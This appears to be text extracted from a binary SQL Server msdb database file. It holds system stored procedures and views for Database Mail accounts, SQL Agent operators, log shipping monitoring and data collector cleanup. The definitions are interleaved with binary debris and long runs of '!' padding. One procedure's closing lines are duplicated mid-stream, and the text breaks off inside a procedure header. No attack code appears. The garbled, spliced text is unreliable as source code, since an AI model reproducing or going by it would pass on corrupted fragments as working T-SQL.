!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`!<kMeTIc0}Hh %8((0))0h 
8
CREATE PROCEDURE dbo.sysmail_help_admin_account_sp
   @account_id int
AS
   SET NOCOUNT ON

   DECLARE @rc         int,
      @acc_id         int,
      @name           sysname,
      @description    nvarchar(256),
      @email_address  nvarchar(128),
      @display_name   nvarchar(128),
      @replyto_address nvarchar(128),  
      @servertype     sysname,
      @servername     sysname,
      @port           int,
      @username       nvarchar(128),
      @passwordsize   int,  
      @cryptpassword  varbinary(1024),
      @credential_id  int,
      @use_default_credentials bit,
      @enable_ssl     bit,
      @timeout     int

    SET @passwordsize = 0

   EXEC @rc = msdb.dbo.sysmail_verify_account_sp @account_id, NULL, 1, 0, NULL
   IF @rc <> 0
      RETURN(1)

   SELECT 
      @acc_id         = a.account_id,
      @name           = a.name, 
      @description    = a.description, 
      @email_address  = a.email_address, 
      @display_name   = a.display_name, 
      @replyto_address= a.replyto_address,
      @servertype     = s.servertype, 
      @servername     = s.servername, 
      @port           = s.port, 
      @username       = s.username,
      @credential_id  = s.credential_id,
      @use_default_credentials = s.use_default_credentials,
      @enable_ssl     = s.enable_ssl,
      @timeout        = s.timeout
   FROM msdb.dbo.sysmail_account a, msdb.dbo.sysmail_server s
   WHERE (a.account_id = s.account_id) AND 
      (a.account_id = @account_id)
    
    --get the encrypted password if required 
    IF(@username IS NOT NULL)
    BEGIN
        DECLARE @cred TABLE([size] INT, blob VARBINARY(1024));

        INSERT @cred
        EXEC @rc = master.dbo.sp_PostAgentInfo @credential_id
        IF @rc <> 0
        BEGIN
          RETURN(1)
        END
        
        SELECT @passwordsize = [size], @cryptpassword = [blob] 
        FROM @cred
    END
    
    --All done return result
    SELECT
        @acc_id         as 'account_id',
        @name           as 'name',  
        @description    as 'description',
        @email_address  as 'email_address',
        @display_name   as 'display_name',
        @replyto_address as 'replyto_address',
        @servertype     as 'servertype',
        @servername     as 'servername',
        @port           as 'port',
        @username       as 'username',
        @passwordsize   as 'password_size',
        @cryptpassword  as 'password_crypt',
        @use_default_credentials as 'use_default_credentials',
        @enable_ssl     as 'enable_ssl',
        @timeout        as 'timeout'

   RETURN(0)
0h@ 
8CREATE PROCEDURE sp_log_shipping_monitor_restore AS
BEGIN
  SET NOCOUNT ON
  DECLARE @primary_id                  INT
  DECLARE @secondary_server_name       sysname
  DECLARE @secondary_database_name     sysname
  DECLARE @secondary_plan_id           UNIQUEIDENTIFIER
  DECLARE @out_of_sync_threshold       INT 
  DECLARE @threshold_alert             INT 
  DECLARE @threshold_alert_enabled     BIT 
  DECLARE @last_loaded_filename        NVARCHAR (500)
  DECLARE @last_backup_filename        NVARCHAR (500) 
  DECLARE @primary_database_name       sysname
  DECLARE @last_loaded_last_updated    DATETIME
  DECLARE @last_backup_last_updated    DATETIME
  DECLARE @planned_outage_start_time   INT 
  DECLARE @planned_outage_end_time     INT 
  DECLARE @planned_outage_weekday_mask INT
  DECLARE @sync_status                 INT
  DECLARE @sync_delta                  INT
  DECLARE @delta_string                NVARCHAR(10)

  SET NOCOUNT ON
  DECLARE @backupdt  DATETIME
  DECLARE @restoredt DATETIME
  DECLARE @rv        INT
  DECLARE rmlsp_cur CURSOR FOR
    SELECT s.primary_id, 
      s.secondary_server_name, 
      s.secondary_database_name, 
      s.secondary_plan_id, 
      s.out_of_sync_threshold, 
      s.threshold_alert, 
      s.threshold_alert_enabled, 
      s.last_loaded_filename, 
      s.last_loaded_last_updated,
      p.last_backup_filename,
      p.last_updated,
      p.primary_database_name,
      s.planned_outage_start_time, 
      s.planned_outage_end_time, 
      s.planned_outage_weekday_mask 
    FROM msdb.dbo.log_shipping_secondaries s 
    INNER JOIN msdb.dbo.log_shipping_primaries p 
    ON s.primary_id = p.primary_id
    FOR READ ONLY

  OPEN rmlsp_cur
loop:
  FETCH NEXT FROM rmlsp_cur 
  INTO @primary_id, 
      @secondary_server_name, 
         @secondary_database_name, 
         @secondary_plan_id, 
       @out_of_sync_threshold, 
         @threshold_alert, 
         @threshold_alert_enabled, 
         @last_loaded_filename, 
         @last_loaded_last_updated,
       @last_backup_filename,
       @last_backup_last_updated,
       @primary_database_name,
       @planned_outage_start_time, 
         @planned_outage_end_time, 
         @planned_outage_weekday_mask 

  IF @@FETCH_STATUS <> 0 -- nothing more to fetch, finish the loop
    GOTO _loop

  EXECUTE @rv = sp_log_shipping_get_date_from_file @primary_database_name, @last_backup_filename, @backupdt OUTPUT
  IF (@rv <> 0)
    SELECT @backupdt = @last_backup_last_updated
  
  EXECUTE @rv = sp_log_shipping_get_date_from_file @primary_database_name, @last_loaded_filename, @restoredt OUTPUT
  IF  (@rv <> 0)
    SELECT @restoredt = @last_loaded_last_updated

  EXECUTE @sync_status = sp_log_shipping_in_sync
    @restoredt,
    @backupdt,
     @out_of_sync_threshold,
     @planned_outage_start_time,
     @planned_outage_end_time,
    @planned_outage_weekday_mask,
    @threshold_alert_enabled,
    @sync_delta OUTPUT

   IF (@sync_status < 0)
   BEGIN
     SELECT @delta_string = CONVERT (NVARCHAR(10), @sync_delta)
     RAISERROR (@threshold_alert, 16, 1, @secondary_server_name, @secondary_database_name, @delta_string)
   END

  GOTO loop
_loop:
  CLOSE rmlsp_cur
  DEALLOCATE rmlsp_cur
END
0hyhh %8((0))0Mh '8((0.0))0#h %8((0))tpassword = [blob] 
        FROM @cred
    END
    
    --All done return result
    SELECT
        @acc_id         as 'account_id',
        @name           as 'name',  
        @description    as 'description',
        @email_address  as 'email_address',
        @display_name   as 'display_name',
        @replyto_address as 'replyto_address',
        @servertype     as 'servertype',
        @servername     as 'servername',
        @port           as 'port',
        @username       as 'username',
        @passwordsize   as 'password_size',
        @cryptpassword  as 'password_crypt',
        @use_default_credentials as 'use_default_credentials',
        @enable_ssl     as 'enable_ssl',
        @timeout        as 'timeout'

   RETURN(0)
0i 8
CREATE PROCEDURE dbo.sysmail_add_profileaccount_sp
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @account_id int = NULL, -- must provide id or name
   @account_name sysname = NULL,
   @sequence_number int -- account with the lowest sequence number is picked as default
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   -- insert new account record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_profileaccount (profile_id,account_id,sequence_number)
   VALUES (@profileid,@accountid,@sequence_number)
   
   RETURN(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=d`Z <EMS40Bd 8CREATE PROCEDURE sp_multi_server_job_summary
  @job_id   UNIQUEIDENTIFIER = NULL,
  @job_name sysname          = NULL
AS
BEGIN
  DECLARE @retval INT

  SET NOCOUNT ON

  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- NOTE: We join with syscategories - not sysjobservers - since we want to include jobs
  --       which are of type multi-server but which don't currently have any servers
  SELECT 'job_id'   = sj.job_id,
         'job_name' = sj.name,
         'enabled'  = sj.enabled,
         'category_name'  = sc.name,
         'target_servers' = (SELECT COUNT(*)
                             FROM msdb.dbo.sysjobservers sjs
                             WHERE (sjs.job_id = sj.job_id)),
         'pending_download_instructions' = (SELECT COUNT(*)
                                            FROM msdb.dbo.sysdownloadlist sdl
                                            WHERE (sdl.object_id = sj.job_id)
                                              AND (status = 0)),
         'download_errors' = (SELECT COUNT(*)
                              FROM msdb.dbo.sysdownloadlist sdl
                              WHERE (sdl.object_id = sj.job_id)
                                AND (sdl.error_message IS NOT NULL)),
         'execution_failures' = (SELECT COUNT(*)
                                 FROM msdb.dbo.sysjobservers sjs
                                 WHERE (sjs.job_id = sj.job_id)
                                   AND (sjs.last_run_date <> 0)
                                   AND (sjs.last_run_outcome <> 1)) -- 1 is success
  FROM msdb.dbo.sysjobs sj,
       msdb.dbo.syscategories sc
  WHERE (sj.category_id = sc.category_id)
    AND (sc.category_class = 1) -- JOB
    AND (sc.category_type  = 2) -- Multi-Server
    AND ((@job_id IS NULL)   OR (sj.job_id = @job_id))
    AND ((@job_name IS NULL) OR (sj.name = @job_name))

  RETURN(0) -- Success
END
0e@ 
8
CREATE PROCEDURE dbo.sysmail_add_account_sp
   @account_name sysname,
   @email_address nvarchar(128),
   @display_name nvarchar(128) = NULL,
   @replyto_address nvarchar(128) = NULL,
   @description nvarchar(256) = NULL,  
   @mailserver_name sysname = NULL, -- the following fields are part of server definition
   @mailserver_type sysname = N'SMTP',
   @port int = 25,
   @username nvarchar(128) = NULL,
   @password nvarchar(128) = NULL,
   @use_default_credentials bit = 0,
   @enable_ssl bit = 0,
   @account_id int = NULL OUTPUT
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @credential_id int

   EXEC @rc = msdb.dbo.sysmail_verify_accountparams_sp
            @use_default_credentials = @use_default_credentials,
            @mailserver_type = @mailserver_type OUTPUT, -- validates and returns trimmed value
            @username = @username OUTPUT, -- returns trimmed value, NULL if empty
            @password = @password OUTPUT  -- returns trimmed value, NULL if empty
   IF(@rc <> 0)
      RETURN (1)

   EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @replyto_address, @parameter_name='@replyto_address'
   IF (@rc <> 0)
      RETURN @rc

   --transact this in case sysmail_create_user_credential_sp fails
   BEGIN TRANSACTION

   -- insert new account record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_account (name,description,email_address,display_name,replyto_address) 
   VALUES (@account_name,@description,@email_address,@display_name,@replyto_address)
   IF (@@ERROR <> 0)
   BEGIN
      ROLLBACK TRANSACTION
      RETURN (2)
   END
   
   -- fetch back account_id
   SELECT @account_id = account_id FROM msdb.dbo.sysmail_account WHERE name = @account_name

   IF (@mailserver_name IS NULL) -- use local server as default
      SELECT @mailserver_name=@@SERVERNAME

   --create a credential in the credential store if a password needs to be stored
   IF(@username IS NOT NULL)
   BEGIN
      EXEC @rc = msdb.dbo.sysmail_create_user_credential_sp
                     @username,
                     @password,
                     @credential_id OUTPUT
      IF(@rc <> 0)
      BEGIN 
         ROLLBACK TRANSACTION
         RETURN (3)
      END
   END
   
   INSERT INTO msdb.dbo.sysmail_server (account_id,servertype,servername,port,username,credential_id,use_default_credentials,enable_ssl) 
   VALUES (@account_id,@mailserver_type,@mailserver_name,@port,@username,@credential_id,@use_default_credentials,@enable_ssl)
   IF (@@ERROR <> 0)
   BEGIN
      ROLLBACK TRANSACTION
      RETURN (4)
   END

   COMMIT TRANSACTION
   RETURN(0)
0d 
8CREATE PROC [dbo].[sp_syscollector_cleanup_collector]
AS
BEGIN
	-- Disable constraints
	-- this is done to make sure that constraint logic does not interfere with cleanup process
	ALTER TABLE dbo.syscollector_collection_sets_internal NOCHECK CONSTRAINT FK_syscollector_collection_sets_collection_sysjobs
	ALTER TABLE dbo.syscollector_collection_sets_internal NOCHECK CONSTRAINT FK_syscollector_collection_sets_upload_sysjobs

	-- Delete data collector jobs
	DECLARE @job_id uniqueidentifier
	DECLARE datacollector_jobs_cursor CURSOR LOCAL 
	FOR
		SELECT collection_job_id AS job_id FROM syscollector_collection_sets
		WHERE collection_job_id IS NOT NULL
		UNION
		SELECT upload_job_id AS job_id FROM syscollector_collection_sets
		WHERE upload_job_id IS NOT NULL

	OPEN datacollector_jobs_cursor
	FETCH NEXT FROM datacollector_jobs_cursor INTO @job_id
  
	WHILE (@@fetch_status = 0)
	BEGIN
		IF EXISTS ( SELECT COUNT(job_id) FROM sysjobs WHERE job_id = @job_id )
		BEGIN
			DECLARE @job_name sysname
			SELECT @job_name = name from sysjobs WHERE job_id = @job_id
			PRINT 'Removing job '+ @job_name
			EXEC dbo.sp_delete_job @job_id=@job_id, @delete_unused_schedule=0
		END
		FETCH NEXT FROM datacollector_jobs_cursor INTO @job_id
	END
	
	CLOSE datacollector_jobs_cursor
	DEALLOCATE datacollector_jobs_cursor

	-- Enable Constraints back
	ALTER TABLE dbo.syscollector_collection_sets_internal CHECK CONSTRAINT FK_syscollector_collection_sets_collection_sysjobs
	ALTER TABLE dbo.syscollector_collection_sets_internal CHECK CONSTRAINT FK_syscollector_collection_sets_upload_sysjobs


	-- Disable trigger on syscollector_collection_sets_internal
	-- this is done to make sure that trigger logic does not interfere with cleanup process
	EXEC('DISABLE TRIGGER syscollector_collection_set_is_running_update_trigger ON syscollector_collection_sets_internal')

	-- Set collection sets as not running state
	UPDATE syscollector_collection_sets_internal
	SET is_running = 0

	-- Update collect and upload jobs as null
	UPDATE syscollector_collection_sets_internal
	SET collection_job_id = NULL, upload_job_id = NULL

	-- Enable back trigger on syscollector_collection_sets_internal
	EXEC('ENABLE TRIGGER syscollector_collection_set_is_running_update_trigger ON syscollector_collection_sets_internal')

	-- re-set collector config store
	UPDATE syscollector_config_store_internal
	SET parameter_value = 0
	WHERE parameter_name IN ('CollectorEnabled')

	UPDATE syscollector_config_store_internal
	SET parameter_value = NULL
	WHERE parameter_name IN ( 'MDWDatabase', 'MDWInstance' )

	-- Delete collection set logs
	DELETE FROM syscollector_execution_log_internal

END
0Zbd %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a`<hM+0-Wn *8
CREATE FUNCTION dbo.get_principal_sid(@principal_id int)
RETURNS varbinary(85)
AS
BEGIN
    DECLARE @principal_sid varbinary(85)
    SELECT @principal_sid=sid FROM msdb.sys.database_principals WHERE principal_id=@principal_id
    RETURN @principal_sid
END
0<qn 88CREATE PROCEDURE sp_add_operator
  @name                      sysname,
  @enabled                   TINYINT       = 1,
  @email_address             NVARCHAR(100) = NULL,
  @pager_address             NVARCHAR(100) = NULL,
  @weekday_pager_start_time  INT           = 090000, -- HHMMSS using 24 hour clock
  @weekday_pager_end_time    INT           = 180000, -- As above
  @saturday_pager_start_time INT           = 090000, -- As above
  @saturday_pager_end_time   INT           = 180000, -- As above
  @sunday_pager_start_time   INT           = 090000, -- As above
  @sunday_pager_end_time     INT           = 180000, -- As above
  @pager_days                TINYINT       = 0,      -- 1 = Sunday .. 64 = Saturday
  @netsend_address           NVARCHAR(100) = NULL,   -- New for 7.0
  @category_name             sysname       = NULL    -- New for 7.0
AS
BEGIN
  DECLARE @return_code TINYINT
  DECLARE @category_id INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name            = LTRIM(RTRIM(@name))
  SELECT @email_address   = LTRIM(RTRIM(@email_address))
  SELECT @pager_address   = LTRIM(RTRIM(@pager_address))
  SELECT @netsend_address = LTRIM(RTRIM(@netsend_address))
  SELECT @category_name   = LTRIM(RTRIM(@category_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@email_address   = N'') SELECT @email_address   = NULL
  IF (@pager_address   = N'') SELECT @pager_address   = NULL
  IF (@netsend_address = N'') SELECT @netsend_address = NULL
  IF (@category_name   = N'') SELECT @category_name   = NULL

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  IF (@category_name IS NULL)
  BEGIN
    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = 99)
  END

  -- Verify the operator
  EXECUTE @return_code = sp_verify_operator @name,
                                            @enabled,
                                            @pager_days,
                                            @weekday_pager_start_time,
                                            @weekday_pager_end_time,
                                            @saturday_pager_start_time,
                                            @saturday_pager_end_time,
                                            @sunday_pager_start_time,
                                            @sunday_pager_end_time,
                                            @category_name,
                                            @category_id OUTPUT
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- Finally, do the INSERT
  INSERT INTO msdb.dbo.sysoperators
         (name,
          enabled,
          email_address,
          last_email_date,
          last_email_time,
          pager_address,
          last_pager_date,
          last_pager_time,
          weekday_pager_start_time,
          weekday_pager_end_time,
          saturday_pager_start_time,
          saturday_pager_end_time,
          sunday_pager_start_time,
          sunday_pager_end_time,
          pager_days,
          netsend_address,
          last_netsend_date,
          last_netsend_time,
          category_id)
  VALUES (@name,
          @enabled,
          @email_address,
          0,
          0,
          @pager_address,
          0,
          0,
          @weekday_pager_start_time,
          @weekday_pager_end_time,
          @saturday_pager_start_time,
          @saturday_pager_end_time,
          @sunday_pager_start_time,
          @sunday_pager_end_time,
          @pager_days,
          @netsend_address,
          0,
          0,
          @category_id)

  RETURN(@@error) -- 0 means success
END
0gn 78
CREATE PROCEDURE dbo.sysmail_help_configure_sp
   @parameter_name nvarchar(256) = NULL
AS
   SET NOCOUNT ON

    SELECT paramname, paramvalue, description
    FROM msdb.dbo.sysmail_configuration
    WHERE paramname = ISNULL(@parameter_name, paramname)

    RETURN(0)
0\Vn %8((0))0R!n g8CREATE VIEW [dbo].[sysmanagement_shared_server_groups]
AS
(
    SELECT server_group_id, name, description, server_type, parent_id, is_system_object,
    (select COUNT(*) from [msdb].[dbo].[sysmanagement_shared_server_groups_internal] sgChild where sgChild.parent_id = sg.server_group_id) as num_server_group_children,
    (select COUNT(*) from [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] rsChild where rsChild.server_group_id = sg.server_group_id) as num_registered_server_children
    FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] sg
)
0ln 8CREATE PROC [dbo].[sp_syspolicy_log_policy_execution_detail] 
 @history_id bigint, 
 @target_query_expression nvarchar(4000), 
 @target_query_expression_with_id nvarchar(4000), 
 @result bit, 
 @result_detail nvarchar(max),
 @exception_message nvarchar(max) = NULL,
 @exception nvarchar(max) = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole', 0
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END
    BEGIN TRANSACTION
    DECLARE @is_valid_entry INT
    -- take an update lock on this table first to prevent deadlock
    SELECT @is_valid_entry = count(*) FROM syspolicy_policy_execution_history_internal
        WITH (UPDLOCK) 
        WHERE history_id = @history_id

    INSERT syspolicy_policy_execution_history_details_internal (
                                history_id, 
                                target_query_expression, 
                                target_query_expression_with_id, 
                                result, 
                                result_detail,
                                exception_message,
                                exception) 
                        VALUES (
                                @history_id, 
                                @target_query_expression, 
                                @target_query_expression_with_id, 
                                @result, 
                                @result_detail,
                                @exception_message,
                                @exception) 
    IF( @@TRANCOUNT > 0)
        COMMIT
END
0bn '8((0.0))0yXvn %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!C`
<|jML0f{n 8
CREATE PROCEDURE sp_sqlagent_is_srvrolemember
   @role_name sysname, @login_name sysname
AS
BEGIN
  DECLARE @is_member        INT
  SET NOCOUNT ON
  
  IF @role_name IS NULL OR @login_name IS NULL
    RETURN(0)
  
  SELECT @is_member = 0
  --IS_SRVROLEMEMBER works only if the login to be tested is provisioned with sqlserver
  if( @login_name = SUSER_SNAME())
    SELECT @is_member = IS_SRVROLEMEMBER(@role_name)
  else
    SELECT @is_member = IS_SRVROLEMEMBER(@role_name, @login_name)
    
  
  --try to impersonate. A try catch is used because we can have @name as NT groups also
  IF @is_member IS NULL
  BEGIN
    BEGIN TRY
      if( is_srvrolemember('sysadmin') = 1)
      begin
      EXECUTE AS LOGIN = @login_name -- impersonate 
        SELECT @is_member = IS_SRVROLEMEMBER(@role_name)  -- check role membership 
      REVERT -- revert back
      end
    END TRY
    BEGIN CATCH
      SELECT @is_member = 0
    END CATCH
  END
 
  RETURN ISNULL(@is_member,0)
END
0o 8
CREATE PROCEDURE sp_verify_category_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @category_name [sysname] OUTPUT,
   @category_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @category_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @category_name          = LTRIM(RTRIM(@category_name))

  IF (@category_name = N'') SELECT @category_name = NULL

  IF ((@category_name IS NOT NULL) AND (@category_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check category id
  IF (@category_id IS NOT NULL)
  BEGIN
    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = @category_id)
    IF (@category_name IS NULL)
    BEGIN
     SELECT @category_id_as_char = CONVERT(nvarchar(36), @category_id)
      RAISERROR(14262, -1, -1, '@category_id', @category_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check category name
  IF (@category_name IS NOT NULL)
  BEGIN
    -- The name is not ambiguous, so get the corresponding category_id (if the job exists)
    SELECT @category_id = category_id
    FROM msdb.dbo.syscategories
    WHERE (name = @category_name)
    IF (@category_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@category_name', @category_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0uo D8f$h,0Ko 8
CREATE PROCEDURE dbo.sysmail_help_configure_value_sp
   @parameter_name nvarchar(256),
   @parameter_value nvarchar(256) OUTPUT
AS
   SET NOCOUNT ON
   SET @parameter_value = NULL
    
   IF (@parameter_name IS NULL)
   BEGIN
      RAISERROR(14618, 16, 1, '@parameter_name')
      RETURN(1)   
   END

    SELECT @parameter_value = paramvalue
    FROM msdb.dbo.sysmail_configuration
    WHERE paramname = @parameter_name

   RETURN(0)
0sp 8
CREATE PROCEDURE dbo.sysmail_add_principalprofile_sp
   @principal_id int = NULL, -- must provide id or name
   @principal_name sysname = NULL,
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @is_default bit
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @principal_sid varbinary(85)
   DECLARE @profileid int

   IF (@principal_id IS NOT NULL AND @principal_id = 0) OR (@principal_name IS NOT NULL AND @principal_name = N'public')
   BEGIN
      IF (@principal_id IS NOT NULL AND @principal_id <> 0) OR (@principal_name IS NOT NULL AND @principal_name <> N'public')
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  -- id and name do not match
      END
      SET @principal_sid = 0x00 -- public
   END
   ELSE
   BEGIN
      exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 0, @principal_sid OUTPUT
      IF @rc <> 0
         RETURN(2)
   END
   
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(3)

   -- insert new account record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_principalprofile (principal_sid,profile_id,is_default)
   VALUES (@principal_sid,@profileid,@is_default)

   IF (@is_default IS NOT NULL AND @is_default = 1 )
   BEGIN
      -- a principal can only have one default profile so reset other, if there are any
      UPDATE msdb.dbo.sysmail_principalprofile
      SET is_default=0
      WHERE principal_sid = @principal_sid AND profile_id <> @profileid
   END
   RETURN(0)
0!Jo 8CREATE VIEW sysmaintplan_plans
AS
   SELECT
   s.name AS [name],
   s.id AS [id],
   s.description AS [description],
   s.createdate AS [create_date],
   suser_sname(s.ownersid) AS [owner],
   s.vermajor AS [version_major],
   s.verminor AS [version_minor],
   s.verbuild AS [version_build],
   s.vercomments AS [version_comments],
   ISNULL((select TOP 1 msx_plan from sysmaintplan_subplans where plan_id = s.id), 0) AS [from_msx],
   CASE WHEN (NOT EXISTS (select TOP 1 msx_job_id 
                          from sysmaintplan_subplans subplans, sysjobservers jobservers
                          where plan_id = s.id 
                          and msx_job_id is not null
                          and subplans.msx_job_id = jobservers.job_id
                          and server_id != 0)) 
        then 0 
        else 1 END AS [has_targets]
   FROM
   msdb.dbo.sysssispackages AS s
   WHERE
   (s.folderid = '08aa12d5-8f98-4dab-a4fc-980b150a5dc8' and s.packagetype = 6)
0vo 8CREATE VIEW [dbo].[sysmanagement_shared_registered_servers]
AS
(
    SELECT server_id, server_group_id, name, server_name, description, server_type
    FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
)
00	p W8CREATE PROCEDURE [dbo].[sp_sysmanagement_verify_shared_server_type]
